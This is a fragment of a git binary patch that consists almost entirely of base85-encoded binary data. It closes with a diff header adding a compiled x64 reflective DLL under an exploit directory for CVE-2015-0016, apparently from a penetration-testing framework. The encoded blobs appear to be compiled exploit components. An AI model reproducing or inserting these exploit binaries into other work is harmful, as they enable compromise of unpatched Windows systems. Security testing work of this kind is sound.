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 literal 0 HcmV?d00001 diff --git a/external/source/exploits/cve-2015-0016/bin/reflective_dll.x64.dll b/external/source/exploits/cve-2015-0016/bin/reflective_dll.x64.dll new file mode 100755 index 0000000000000000000000000000000000000000..a4647765c63f97f9a939ee2ee18884ba02331469 GIT binary patch literal 66560 zcmeFa3w)DB`ak-nX=o@7DVJaokbuRl)=Rabt)-gKRNg=eRX|ZeD5Vvo(3<AuqM)s5 z*@iJ%cXbzc)x}+1FRQz*7btk4q0kHEj+Y|4T5szcgIaH;fbyR2GxH{G5qJ0e&gY!} z`JDd=Bs25O%ri63JoC&m&s<t?bG>AgBq<(WO_QVsxb$)G-+%wpgXqCyw+@zG8MtR$ zgTb?B+^oe*D(w~C^4q*c%k0HP%a@n?><dfmUS+v`$#T1E#!UON@<k;VTP%sGI_git zH?7}Tcje*e_qyplhhIYYy6MLcf5+Vuho9#0R~-Hl?p*Eu!%xADo6&RlkKFz7@DtoU zrMoA&d;OB)#f0<cT2PoTNsHDEkiN-DyFQwxOB!z<6gNncRsr(7fI3FNP3Hb813Bc6 zlcWJ0)ayzWh$SN86DKV|KxB$KKMe~={nwIo8}cmpT#_bH=0bziNd-9!(tQa8&_6(# 